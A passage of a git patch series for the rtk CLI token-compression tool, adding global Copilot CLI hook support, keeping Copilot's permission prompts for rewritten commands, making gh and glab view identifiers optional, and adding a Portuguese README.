fs::create_dir_all(&hooks_dir).unwrap(); + let other = hooks_dir.join("notification-hooks.json"); + let payload = r#"{"version":1,"hooks":{"agentStop":[{"type":"command","bash":"true"}]}}"#; + fs::write(&other, payload).unwrap(); + + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + assert_eq!(fs::read_to_string(&other).unwrap(), payload); + } + + #[test] + fn test_copilot_global_uninstall_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + let hooks_dir = temp.path().join("hooks"); + let other = hooks_dir.join("notification-hooks.json"); + let payload = r#"{"version":1,"hooks":{"agentStop":[{"type":"command","bash":"true"}]}}"#; + fs::write(&other, payload).unwrap(); + + uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + assert!(other.exists()); + assert_eq!(fs::read_to_string(&other).unwrap(), payload); + assert!(!hooks_dir.join("rtk-rewrite.json").exists()); + } + + #[test] + fn test_copilot_global_install_dry_run_writes_nothing() { + let temp = TempDir::new().unwrap(); + let ctx = InitContext { + verbose: 0, + dry_run: true, + }; + run_copilot_global_at(temp.path(), ctx).unwrap(); + assert!(!temp.path().join("hooks").join("rtk-rewrite.json").exists()); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index f1715186a5..be4e0a07be 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1822,7 +1822,11 @@ fn run_cli() -> Result { if show { hooks::init::show_config(codex)?; } else if uninstall && copilot { - hooks::init::uninstall_copilot(ctx)?; + if global { + hooks::init::uninstall_copilot_global(ctx)?; + } else { + hooks::init::uninstall_copilot(ctx)?; + } } else if uninstall { uninstall_init_dispatch( agent, @@ -1843,7 +1847,11 @@ fn run_cli() -> Result { }; hooks::init::run_gemini(global, hook_only, patch_mode, ctx)?; } else if copilot { - hooks::init::run_copilot(ctx)?; + if global { + hooks::init::run_copilot_global(ctx)?; + } else { + hooks::init::run_copilot(ctx)?; + } } else if agent == Some(AgentTarget::Pi) { hooks::init::run_pi_mode(global, ctx)? } else if agent == Some(AgentTarget::Kilocode) { From 69c10b65887527d5cf95e2c48f8c1b58a1fd3077 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 20:41:03 +0200 Subject: [PATCH 23/52] fix(hook): default Copilot CLI rewrite to 'ask' to preserve permission prompts --- src/hooks/hook_cmd.rs | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index d5f5c3753f..0f54cf58f0 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -163,14 +163,22 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { } fn copilot_cli_response(cmd: &str) -> Option { - if permissions::check_command(cmd) == PermissionVerdict::Deny { + copilot_cli_response_for_verdict(cmd, permissions::check_command(cmd)) +} + +fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Option { + if verdict == PermissionVerdict::Deny { audit_log("deny", cmd, ""); return None; } let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); + let decision = match verdict { + PermissionVerdict::Allow => "allow", + _ => "ask", + }; Some(json!({ - "permissionDecision": "allow", + "permissionDecision": decision, "permissionDecisionReason": "RTK auto-rewrite", "modifiedArgs": { "command": rewritten } })) @@ -621,12 +629,27 @@ mod tests { // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- #[test] - fn test_copilot_cli_transparent_rewrite() { - let r = copilot_cli_response("cargo test").unwrap(); + fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { + let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Default).unwrap(); + assert_eq!( + r["permissionDecision"], "ask", + "Default must be 'ask' so the user is still prompted for the rewritten command" + ); + assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); + } + + #[test] + fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { + let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Allow).unwrap(); assert_eq!(r["permissionDecision"], "allow"); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } + #[test] + fn test_copilot_cli_deny_verdict_returns_none() { + assert!(copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Deny).is_none()); + } + #[test] fn test_copilot_cli_passthrough_unsupported() { assert!(copilot_cli_response("htop").is_none()); From 6c5e440d83b30168c61e4c4b0c79847414a7c509 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 20:50:06 +0200 Subject: [PATCH 24/52] fix(hook): preserve Copilot CLI toolArgs metadata when rewriting command --- src/hooks/hook_cmd.rs | 86 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 71 insertions(+), 15 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 0f54cf58f0..72a449ff31 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -32,7 +32,9 @@ enum HookFormat { /// VS Code Copilot Chat / Claude Code: `tool_name` + `tool_input.command`, supports `updatedInput`. VsCode { command: String }, /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), supports `modifiedArgs` for transparent rewrite. - CopilotCli { command: String }, + /// Carries the full parsed `toolArgs` object so we can rewrite `command` while preserving + /// host-supplied metadata (description, initial_wait, mode, …) the tool requires. + CopilotCli { command: String, args: Value }, /// Non-bash tool, already uses rtk, or unknown format — pass through silently. PassThrough, } @@ -59,7 +61,7 @@ pub fn run_copilot() -> Result<()> { match detect_format(&v) { HookFormat::VsCode { command } => handle_vscode(&command), - HookFormat::CopilotCli { command } => handle_copilot_cli(&command), + HookFormat::CopilotCli { command, args } => handle_copilot_cli(&command, &args), HookFormat::PassThrough => Ok(()), } } @@ -93,6 +95,7 @@ fn detect_format(v: &Value) -> HookFormat { { return HookFormat::CopilotCli { command: cmd.to_string(), + args: tool_args, }; } } @@ -155,18 +158,22 @@ fn handle_vscode(cmd: &str) -> Result<()> { Ok(()) } -fn handle_copilot_cli(cmd: &str) -> Result<()> { - if let Some(response) = copilot_cli_response(cmd) { +fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { + if let Some(response) = copilot_cli_response(cmd, args) { let _ = writeln!(io::stdout(), "{response}"); } Ok(()) } -fn copilot_cli_response(cmd: &str) -> Option { - copilot_cli_response_for_verdict(cmd, permissions::check_command(cmd)) +fn copilot_cli_response(cmd: &str, args: &Value) -> Option { + copilot_cli_response_for_verdict(cmd, args, permissions::check_command(cmd)) } -fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Option { +fn copilot_cli_response_for_verdict( + cmd: &str, + args: &Value, + verdict: PermissionVerdict, +) -> Option { if verdict == PermissionVerdict::Deny { audit_log("deny", cmd, ""); return None; @@ -177,10 +184,14 @@ fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Op PermissionVerdict::Allow => "allow", _ => "ask", }; + let mut modified = args.clone(); + if let Some(obj) = modified.as_object_mut() { + obj.insert("command".into(), Value::String(rewritten)); + } Some(json!({ "permissionDecision": decision, "permissionDecisionReason": "RTK auto-rewrite", - "modifiedArgs": { "command": rewritten } + "modifiedArgs": modified })) } @@ -628,9 +639,18 @@ mod tests { // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- + fn cli_args(cmd: &str) -> Value { + json!({ "command": cmd }) + } + #[test] fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { - let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Default).unwrap(); + let r = copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Default, + ) + .unwrap(); assert_eq!( r["permissionDecision"], "ask", "Default must be 'ask' so the user is still prompted for the rewritten command" @@ -640,40 +660,76 @@ mod tests { #[test] fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { - let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Allow).unwrap(); + let r = copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Allow, + ) + .unwrap(); assert_eq!(r["permissionDecision"], "allow"); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } #[test] fn test_copilot_cli_deny_verdict_returns_none() { - assert!(copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Deny).is_none()); + assert!(copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Deny + ) + .is_none()); } #[test] fn test_copilot_cli_passthrough_unsupported() { - assert!(copilot_cli_response("htop").is_none()); + assert!(copilot_cli_response("htop", &cli_args("htop")).is_none()); } #[test] fn test_copilot_cli_passthrough_already_rtk() { - assert!(copilot_cli_response("rtk cargo test").is_none()); + assert!(copilot_cli_response("rtk cargo test", &cli_args("rtk cargo test")).is_none()); } #[test] fn test_copilot_cli_passthrough_heredoc() { - assert!(copilot_cli_response("cat < Date: Tue, 26 May 2026 21:26:33 +0200 Subject: [PATCH 25/52] fix(hook): omit permissionDecision so Copilot prompts for the rewritten command --- src/hooks/hook_cmd.rs | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 72a449ff31..8870bf8d75 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -180,19 +180,24 @@ fn copilot_cli_response_for_verdict( } let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", - }; + let mut modified = args.clone(); if let Some(obj) = modified.as_object_mut() { obj.insert("command".into(), Value::String(rewritten)); } - Some(json!({ - "permissionDecision": decision, + + // Copilot CLI v1.0.54 only applies `modifiedArgs` when permissionDecision is + // either "allow" or absent. Omitting permissionDecision lets Copilot's normal + // permission flow run on the rewritten command — `rtk *` is not on its + // auto-allow list, so the user sees a prompt for the rewritten command. + let mut response = json!({ "permissionDecisionReason": "RTK auto-rewrite", - "modifiedArgs": modified - })) + "modifiedArgs": modified, + }); + if verdict == PermissionVerdict::Allow { + response["permissionDecision"] = json!("allow"); + } + Some(response) } // ── Gemini hook ─────────────────────────────────────────────── @@ -644,16 +649,16 @@ mod tests { } #[test] - fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { + fn test_copilot_cli_default_verdict_omits_permission_decision() { let r = copilot_cli_response_for_verdict( "cargo test", &cli_args("cargo test"), PermissionVerdict::Default, ) .unwrap(); - assert_eq!( - r["permissionDecision"], "ask", - "Default must be 'ask' so the user is still prompted for the rewritten command" + assert!( + r.get("permissionDecision").is_none(), + "Default must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" ); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } From e1bb17f85d387816621a6e77eca44f94458c4e81 Mon Sep 17 00:00:00 2001 From: Benoit Galati Date: Wed, 27 May 2026 17:47:32 +0200 Subject: [PATCH 26/52] fix(gh,glab): don't pre-reject view/checks/run subcommands missing the id gh and glab both accept several subcommands without an explicit id and resolve it from the current branch (gh pr view, gh pr checks, glab mr view) or open an interactive picker (gh run view). RTK was pre-rejecting with "X number required" before the underlying tool ever ran. Six call sites now treat the identifier as optional and forward the request unchanged, letting gh/glab decide: - gh pr view, gh pr checks, gh issue view, gh run view - glab mr view, glab issue view A new `parse_optional_identifier` helper in each file captures the "(Option, Vec)" parse so the no-id branch is unit-testable. format_run_view also drops the dangling `#` from its header when the run id is empty (interactive-picker passthrough). --- src/cmds/git/gh_cmd.rs | 161 +++++++++++++++++++++++++++++---------- src/cmds/git/glab_cmd.rs | 93 +++++++++++++++++----- 2 files changed, 193 insertions(+), 61 deletions(-) diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index c22c16b401..156b81e2a1 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -162,6 +162,16 @@ fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec (Option, Vec) { + match extract_identifier_and_extra_args(args) { + Some((id, extra)) => (Some(id), extra), + None => (None, args.to_vec()), + } +} + fn run_gh_json(cmd: Command, label: &str, filter_fn: F) -> Result where F: Fn(&Value) -> String, @@ -319,27 +329,32 @@ fn pr_status_json_fields() -> &'static str { } fn view_pr(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { - let (pr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("PR number required")), - }; + // `gh pr view` without an identifier defaults to the PR for the current branch. + let (pr_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_pr_view(&extra_args) { - return run_passthrough_with_extra("gh", &["pr", "view", &pr_number], &extra_args); + let mut base: Vec<&str> = vec!["pr", "view"]; + if let Some(id) = pr_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); + cmd.args(["pr", "view"]); + if let Some(id) = pr_number_opt.as_deref() { + cmd.arg(id); + } cmd.args([ - "pr", - "view", - &pr_number, "--json", "number,title,state,author,body,url,mergeable,reviews,statusCheckRollup", ]); for arg in &extra_args { cmd.arg(arg); } - run_gh_json(cmd, &format!("pr view {}", pr_number), |json| { - format_pr_view(json, ultra_compact) - }) + let label = match pr_number_opt.as_deref() { + Some(id) => format!("pr view {}", id), + None => "pr view".to_string(), + }; + run_gh_json(cmd, &label, |json| format_pr_view(json, ultra_compact)) } fn format_pr_view(json: &Value, ultra_compact: bool) -> String { @@ -427,19 +442,24 @@ fn format_pr_view(json: &Value, ultra_compact: bool) -> String { } fn pr_checks(args: &[String], _verbose: u8, _ultra_compact: bool) -> Result { - let (pr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("PR number required")), - }; + // `gh pr checks` without an identifier defaults to the PR for the current branch. + let (pr_number_opt, extra_args) = parse_optional_identifier(args); let mut cmd = resolved_command("gh"); - cmd.args(["pr", "checks", &pr_number]); + cmd.args(["pr", "checks"]); + if let Some(id) = pr_number_opt.as_deref() { + cmd.arg(id); + } for arg in &extra_args { cmd.arg(arg); } + let label = match pr_number_opt.as_deref() { + Some(id) => format!("pr checks {}", id), + None => "pr checks".to_string(), + }; runner::run_filtered( cmd, "gh", - &format!("pr checks {}", pr_number), + &label, format_pr_checks, RunOptions::stdout_only() .early_exit_on_failure() @@ -623,27 +643,29 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { } fn view_issue(args: &[String], _verbose: u8) -> Result { - let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("Issue number required")), - }; + // Let gh emit its own error message when the identifier is missing rather than pre-rejecting. + let (issue_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_issue_view(&extra_args) { - return run_passthrough_with_extra("gh", &["issue", "view", &issue_number], &extra_args); + let mut base: Vec<&str> = vec!["issue", "view"]; + if let Some(id) = issue_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); - cmd.args([ - "issue", - "view", - &issue_number, - "--json", - "number,title,state,author,body,url", - ]); + cmd.args(["issue", "view"]); + if let Some(id) = issue_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["--json", "number,title,state,author,body,url"]); for arg in &extra_args { cmd.arg(arg); } - run_gh_json(cmd, &format!("issue view {}", issue_number), |json| { - format_issue_view(json) - }) + let label = match issue_number_opt.as_deref() { + Some(id) => format!("issue view {}", id), + None => "issue view".to_string(), + }; + run_gh_json(cmd, &label, format_issue_view) } fn format_issue_view(json: &Value) -> String { @@ -753,23 +775,32 @@ fn should_passthrough_run_view(extra_args: &[String]) -> bool { } fn view_run(args: &[String], _verbose: u8) -> Result { - let (run_id, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("Run ID required")), - }; + // `gh run view` without an identifier opens an interactive picker — defer to gh. + let (run_id_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_run_view(&extra_args) { - return run_passthrough_with_extra("gh", &["run", "view", &run_id], &extra_args); + let mut base: Vec<&str> = vec!["run", "view"]; + if let Some(id) = run_id_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); - cmd.args(["run", "view", &run_id]); + cmd.args(["run", "view"]); + if let Some(id) = run_id_opt.as_deref() { + cmd.arg(id); + } for arg in &extra_args { cmd.arg(arg); } - let run_id_owned = run_id.clone(); + let label = match run_id_opt.as_deref() { + Some(id) => format!("run view {}", id), + None => "run view".to_string(), + }; + let run_id_owned = run_id_opt.unwrap_or_default(); runner::run_filtered( cmd, "gh", - &format!("run view {}", run_id), + &label, move |stdout| format_run_view(stdout, &run_id_owned), RunOptions::stdout_only() .early_exit_on_failure() @@ -781,7 +812,11 @@ fn format_run_view(stdout: &str, run_id: &str) -> String { let mut out = String::new(); let mut in_jobs = false; - out.push_str(&format!("Workflow Run #{}\n", run_id)); + if run_id.is_empty() { + out.push_str("Workflow Run\n"); + } else { + out.push_str(&format!("Workflow Run #{}\n", run_id)); + } for line in stdout.lines() { if line.contains("JOBS") { in_jobs = true; @@ -1077,6 +1112,35 @@ mod tests { assert!(extract_identifier_and_extra_args(&args).is_none()); } + // --- parse_optional_identifier tests --- + + #[test] + fn test_parse_optional_identifier_empty_yields_no_id() { + // `gh pr view` (no args) must surface as (None, []) so the caller + // hands the request to gh, which resolves the current branch's PR. + let (id, extra) = parse_optional_identifier(&[]); + assert!(id.is_none()); + assert!(extra.is_empty()); + } + + #[test] + fn test_parse_optional_identifier_only_flags_preserves_flags() { + // Regression: `gh pr view -R rtk-ai/rtk` previously triggered + // "PR number required". Now flags must round-trip into `extra`. + let args: Vec = vec!["-R".into(), "rtk-ai/rtk".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert!(id.is_none()); + assert_eq!(extra, vec!["-R", "rtk-ai/rtk"]); + } + + #[test] + fn test_parse_optional_identifier_with_id_matches_extract() { + let args: Vec = vec!["-R".into(), "rtk-ai/rtk".into(), "42".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert_eq!(id.as_deref(), Some("42")); + assert_eq!(extra, vec!["-R", "rtk-ai/rtk"]); + } + #[test] fn test_extract_identifier_with_web_flag() { let args: Vec = vec!["123".into(), "--web".into()]; @@ -1108,6 +1172,21 @@ mod tests { assert!(!should_passthrough_run_view(&[])); } + #[test] + fn test_format_run_view_with_id() { + let output = format_run_view("", "12345"); + assert!(output.starts_with("Workflow Run #12345\n")); + } + + #[test] + fn test_format_run_view_without_id() { + // `gh run view` with no arg opens an interactive picker — the captured run id + // is empty, so the header must not render an empty `#`. + let output = format_run_view("", ""); + assert!(output.starts_with("Workflow Run\n")); + assert!(!output.contains("#\n")); + } + #[test] fn test_run_view_no_passthrough_other_flags() { assert!(!should_passthrough_run_view(&["--web".into()])); diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index a0282a2210..56885f07cc 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -212,6 +212,16 @@ fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec (Option, Vec) { + match extract_identifier_and_extra_args(args) { + Some((id, extra)) => (Some(id), extra), + None => (None, args.to_vec()), + } +} + /// Check if user explicitly requested JSON/custom output format. /// When present, passthrough to avoid double JSON injection. fn has_output_flag(args: &[String]) -> bool { @@ -409,24 +419,32 @@ fn format_mr_view(json: &Value, ultra_compact: bool) -> String { } fn mr_view(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { - let (mr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(pair) => pair, - None => return Err(anyhow::anyhow!("MR number required")), - }; + // `glab mr view` without an identifier defaults to the MR for the current branch. + let (mr_number_opt, extra_args) = parse_optional_identifier(args); // Passthrough for --web, --comments, or explicit output format if should_passthrough_view(&extra_args) { - return run_passthrough_with_extra("glab", &["mr", "view", &mr_number], &extra_args); + let mut base: Vec<&str> = vec!["mr", "view"]; + if let Some(id) = mr_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("glab", &base, &extra_args); } let mut cmd = resolved_command("glab"); - cmd.args(["mr", "view", &mr_number, "-F", "json"]); + cmd.args(["mr", "view"]); + if let Some(id) = mr_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["-F", "json"]); for arg in &extra_args { cmd.arg(arg); } - run_glab_json(cmd, &format!("mr view {}", mr_number), |json| { - format_mr_view(json, ultra_compact) - }) + let label = match mr_number_opt.as_deref() { + Some(id) => format!("mr view {}", id), + None => "mr view".to_string(), + }; + run_glab_json(cmd, &label, |json| format_mr_view(json, ultra_compact)) } fn mr_create(args: &[String], _verbose: u8) -> Result { @@ -603,25 +621,31 @@ fn format_issue_view(json: &Value) -> String { } fn issue_view(args: &[String], _verbose: u8) -> Result { - let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(pair) => pair, - None => return Err(anyhow::anyhow!("Issue number required")), - }; + // Let glab emit its own error message when the identifier is missing rather than pre-rejecting. + let (issue_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_view(&extra_args) { - return run_passthrough_with_extra("glab", &["issue", "view", &issue_number], &extra_args); + let mut base: Vec<&str> = vec!["issue", "view"]; + if let Some(id) = issue_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("glab", &base, &extra_args); } let mut cmd = resolved_command("glab"); - cmd.args(["issue", "view", &issue_number, "-F", "json"]); + cmd.args(["issue", "view"]); + if let Some(id) = issue_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["-F", "json"]); for arg in &extra_args { cmd.arg(arg); } - run_glab_json( - cmd, - &format!("issue view {}", issue_number), - format_issue_view, - ) + let label = match issue_number_opt.as_deref() { + Some(id) => format!("issue view {}", id), + None => "issue view".to_string(), + }; + run_glab_json(cmd, &label, format_issue_view) } // ── CI/Pipeline subcommands ───────────────────────────────────────────── @@ -1235,6 +1259,35 @@ mod tests { assert!(extract_identifier_and_extra_args(&args).is_none()); } + // ── parse_optional_identifier tests ───────────────────────────────── + + #[test] + fn test_parse_optional_identifier_empty_yields_no_id() { + // `glab mr view` (no args) must surface as (None, []) so the caller + // hands the request to glab, which resolves the current branch's MR. + let (id, extra) = parse_optional_identifier(&[]); + assert!(id.is_none()); + assert!(extra.is_empty()); + } + + #[test] + fn test_parse_optional_identifier_only_flags_preserves_flags() { + // Regression: `glab mr view -R group/project` previously triggered + // "MR number required". Now flags must round-trip into `extra`. + let args: Vec = vec!["-R".into(), "group/project".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert!(id.is_none()); + assert_eq!(extra, vec!["-R", "group/project"]); + } + + #[test] + fn test_parse_optional_identifier_with_id_matches_extract() { + let args: Vec = vec!["-R".into(), "group/project".into(), "42".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert_eq!(id.as_deref(), Some("42")); + assert_eq!(extra, vec!["-R", "group/project"]); + } + // ── has_output_flag tests ─────────────────────────────────────────── #[test] From f2a2e01e7a7f95bc6090d25e028fad8164d47936 Mon Sep 17 00:00:00 2001 From: Lara Date: Wed, 27 May 2026 16:00:32 -0300 Subject: [PATCH 27/52] docs(readme): add Portuguese translation --- README.md | 3 +- README_pt.md | 166 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 168 insertions(+), 1 deletion(-) create mode 100644 README_pt.md diff --git a/README.md b/README.md index f8d65efe52..492589ef80 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,8 @@ 中文 • 日本語 • 한국어 • - Espanol + Espanol • + Português

--- diff --git a/README_pt.md b/README_pt.md new file mode 100644 index 0000000000..767cd49dc0 --- /dev/null +++ b/README_pt.md @@ -0,0 +1,166 @@ +

+ RTK - Rust Token Killer +

+ +

+ Proxy CLI de alta performance que reduz o consumo de tokens LLM em 60-90% +

+ +

+ CI + Release + License: Apache 2.0 + Discord + Homebrew +

+ +

+ Site • + Instalar • + Solução de problemas • + Arquitetura • + Discord +

+ +

+ English • + Francais • + 中文 • + 日本語 • + 한국어 • + Espanol • + Português +

+ +--- + +rtk filtra e comprime saídas de comandos antes de chegarem ao contexto do seu LLM. Binário Rust único, zero dependências, overhead inferior a 10ms. + +## Economia de tokens (sessão de 30 min no Claude Code) + +| Operação | Frequência | Padrão | rtk | Economia | +|-----------|------------|----------|-----|--------| +| `ls` / `tree` | 10x | 2,000 | 400 | -80% | +| `cat` / `read` | 20x | 40,000 | 12,000 | -70% | +| `grep` / `rg` | 8x | 16,000 | 3,200 | -80% | +| `git status` | 10x | 3,000 | 600 | -80% | +| `cargo test` / `npm test` | 5x | 25,000 | 2,500 | -90% | +| **Total** | | **~118,000** | **~23,900** | **-80%** | + +## Instalacao + +### Homebrew (recomendado) + +```bash +brew install rtk +``` + +### Instalação rápida (Linux/macOS) + +```bash +curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh | sh +``` + +### Cargo + +```bash +cargo install --git https://github.com/rtk-ai/rtk +``` + +### Verificação + +```bash +rtk --version # Deve exibir "rtk 0.28.2" +rtk gain # Deve exibir estatísticas de economia +``` + +## Inicio rapido + +```bash +# 1. Instalar hook para Claude Code (recomendado) +rtk init --global + +# 2. Reiniciar Claude Code, depois testar +git status # Reescrito automaticamente para rtk git status +``` + +## Como funciona + +``` + Sem rtk: Com rtk: + + Claude --git status--> shell --> git Claude --git status--> RTK --> git + ^ | ^ | | + | ~2,000 tokens (bruto) | | ~200 tokens | filtro | + +-----------------------------------+ +------- (filtrado) ---+----------+ +``` + +Quatro estratégias: + +1. **Filtragem inteligente** - Elimina ruído (comentários, espaços, boilerplate) +2. **Agrupamento** - Agrega itens similares (arquivos por diretório, erros por tipo) +3. **Truncamento** - Mantém contexto relevante, elimina redundância +4. **Deduplicação** - Colapsa linhas de log repetidas com contadores + +## Comandos + +### Arquivos +```bash +rtk ls . # Árvore de diretórios otimizada +rtk read file.rs # Leitura inteligente +rtk find "*.rs" . # Resultados compactos +rtk grep "pattern" . # Busca agrupada por arquivo +``` + +### Git +```bash +rtk git status # Status compacto +rtk git log -n 10 # Commits em uma linha +rtk git diff # Diff condensado +rtk git push # -> "ok main" +``` + +### Tests +```bash +rtk jest # Jest compacto +rtk vitest # Vitest compacto +rtk pytest # Tests Python (-90%) +rtk go test # Tests Go (-90%) +rtk cargo test # Tests Rust (-90%) +rtk test # Só falhas (-90%) +``` + +### Build & Lint +```bash +rtk lint # ESLint agrupado por regra +rtk tsc # Erros TypeScript agrupados +rtk cargo build # Build Cargo (-80%) +rtk ruff check # Lint Python (-80%) +``` + +### Análises +```bash +rtk gain # Estatísticas de economia +rtk gain --graph # Gráfico ASCII (30 dias) +rtk discover # Descobrir economias perdidas +``` + +## Documentação + +- **[INSTALL.md](INSTALL.md)** - Guia de instalação detalhado +- **[ARCHITECTURE.md](docs/contributing/ARCHITECTURE.md)** - Arquitetura técnica +- **[CONTRIBUTING.md](CONTRIBUTING.md)** - Guia de contribuição + +## Contribuir + +Contribuições são bem-vindas. Abra uma issue ou PR no [GitHub](https://github.com/rtk-ai/rtk). + +Junte-se à comunidade no [Discord](https://discord.gg/RySmvNF5kF). + +## Licença + +Apache License 2.0 - veja [LICENSE](LICENSE) para detalhes. + +## Aviso Legal + +Veja [DISCLAIMER.md](DISCLAIMER.md). From 207c82a585db4b2b3d343c25c403599cd28fbbe2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 28 May 2026 16:44:06 +0200 Subject: [PATCH 28/52] missing bracket --- src/main.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/main.rs b/src/main.rs index 819e57abfd..042a78cd54 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3194,6 +3194,8 @@ mod tests { code, 134, "rtk crashed with SIGABRT (exit 134) on broken pipe - SIGPIPE handler missing" ); + } + fn test_ultra_compact_long_form_still_works() { let cli = Cli::try_parse_from(["rtk", "--ultra-compact", "git", "status"]).unwrap(); assert!( From b6ecf965a4e829756801da1f19de2e51c3af24c4 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 28 May 2026 16:50:18 +0200 Subject: [PATCH 29/52] missing test tag --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 042a78cd54..672a3ec925 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3196,6 +3196,7 @@ mod tests { ); } + #[test] fn test_ultra_compact_long_form_still_works() { let cli = Cli::try_parse_from(["rtk", "--ultra-compact", "git", "status"]).unwrap(); assert!( From e3ad9736177116b637da17faaf38f70312ab6148 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 09:16:22 +0200 Subject: [PATCH 30/52] fix(copilot-cli): use user-level instruction for -g -g was missing user level instructions which are available for copilot --- .../guide/getting-started/supported-agents.md | 2 +- src/hooks/init.rs | 73 +++++++++++++++++-- 2 files changed, 69 insertions(+), 6 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 80f22f39e8..be70ddbd0e 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -73,7 +73,7 @@ rtk init --copilot # project-scoped (.github/hooks/) rtk init --global --copilot # user-scoped (~/.copilot/hooks/, respects 